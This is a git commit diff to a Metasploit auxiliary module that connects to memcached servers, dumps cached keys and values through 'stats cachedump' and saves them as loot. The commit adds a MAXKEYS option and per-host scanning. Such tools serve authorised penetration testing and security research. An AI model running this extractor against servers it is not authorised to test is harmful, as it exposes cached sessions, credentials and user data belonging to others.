add maxkeys option, dont store loot if localhost and improve streaming

bug/bundler_fix
pdeardorff-r7 2015-01-17 09:25:32 -08:00
parent f1bcbb7d78
commit db3185231a
1 changed files with 34 additions and 12 deletions

View File

@ -7,6 +7,7 @@ require 'msf/core'
class Metasploit3 < Msf::Auxiliary class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::Tcp include Msf::Exploit::Remote::Tcp
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report include Msf::Auxiliary::Report
def initialize(info = {}) def initialize(info = {})
@ -16,24 +17,33 @@ class Metasploit3 < Msf::Auxiliary
This module extracts the slabs from a memcached instance. It then This module extracts the slabs from a memcached instance. It then
finds the keys and values stored in those slabs. finds the keys and values stored in those slabs.
), ),
'Author' => [ 'Paul Deardorff <paul_deardorff[at]rapid7.com>' ], 'Author' => [ 'Paul Deardorff <paul_deardorff[at]rapid7.com>' ],
'License' => MSF_LICENSE 'License' => MSF_LICENSE
)) ))
register_options( register_options(
[ [
Opt::RPORT(11211) Opt::RPORT(11211),
OptInt.new('MAXKEYS', [ true, 'Maximum number of keys to be pulled from a slab', 100] )
], self.class) ], self.class)
end end
def max_keys
datastore['MAXKEYS'].to_i
end
# Returns array of keys for all slabs # Returns array of keys for all slabs
def enumerate_keys def enumerate_keys
keys = [] keys = []
enumerate_slab_ids.each do |sid| enumerate_slab_ids.each do |sid|
sock.send("stats cachedump #{sid} 100\r\n", 0) loop do
data = sock.recv(4096) sock.send("stats cachedump #{sid} #{max_keys}\r\n", 0)
matches = /^ITEM (?<key>.*) \[/.match(data) data = sock.recv(4096)
keys << matches[:key] if matches break if !data || data.length == 0
matches = /^ITEM (?<key>.*) \[/.match(data)
keys << matches[:key] if matches
break if data =~ /^END/
end
end end
keys keys
end end
@ -76,17 +86,29 @@ class Metasploit3 < Msf::Auxiliary
matches[:version] || 'unkown version' matches[:version] || 'unkown version'
end end
def run def run_host(ip)
print_status("#{rhost}:#{rport} - Connecting to memcached server...") print_status("#{ip}:#{rport} - Connecting to memcached server...")
begin begin
connect connect
print_good("Connected to memcached #{determine_version}") print_good("Connected to memcached #{determine_version}")
keys = enumerate_keys keys = enumerate_keys
print_good("Found #{keys.size} keys") print_good("Found #{keys.size} keys")
return if keys.size == 0
data = data_for_keys(keys) data = data_for_keys(keys)
rhost = 'localhost.memcached' if %w(localhost 127.0.0.1).include?(rhost) if %w(localhost 127.0.0.1).include?(ip)
store_loot('memcached.dump', 'text/plain', rhost, data, 'memcached.txt', 'Memcached extractor') result_table = Rex::Ui::Text::Table.new(
print_good("Loot stored!") 'Header' => "Keys/Values Found for #{ip}:#{rport}",
'Indent' => 1,
'Columns' => [ 'Key', 'Value' ]
)
data.take(10).each { |r| result_table << r }
print_line
print_line("#{result_table}")
else
store_loot('memcached.dump', 'text/plain', ip, data, 'memcached.txt', 'Memcached extractor')
print_good("Loot stored!")
end
rescue Rex::ConnectionRefused, Rex::ConnectionTimeout rescue Rex::ConnectionRefused, Rex::ConnectionTimeout
print_error("Could not connect to memcached server!") print_error("Could not connect to memcached server!")
end end